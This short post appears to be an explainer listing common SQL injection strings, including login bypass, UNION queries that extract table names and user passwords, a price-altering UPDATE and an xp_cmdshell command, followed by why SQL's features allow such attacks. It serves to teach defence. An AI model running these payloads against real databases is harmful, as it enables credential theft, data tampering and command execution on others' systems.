Some Common SQL Injection Commands

The following are some common SQL injection commands:

• ' Or 1=1 --
• ' UNION SELECT id, name, '', 0 FROM sysobjects WHERE xtype ='U' --
• ' UNION SELECT 0, UserName, Password, 0 FROM Users --
• '; UPDATE Products SET UnitPrice = 0.01 WHERE ProductId = 1--
• xp_cmdshell "net localgroup administrators"

The same technique might be used to execute a DROP TABLE statement or to execute a system stored procedure that created a new user account and added that user to the sysadmin role.

SQL injection attacks are possible because the SQL language contains a number of features that make it quite powerful and flexible, namely:

• The ability to embed comments in a SQL statement using a pair of hyphens
• The ability to string multiple SQL statements together and to execute them in a batch
• The ability to use SQL to query metadata from a standard set of system tables

The most of the post is adopted from Stop SQL Injection Attacks Before They Stop You.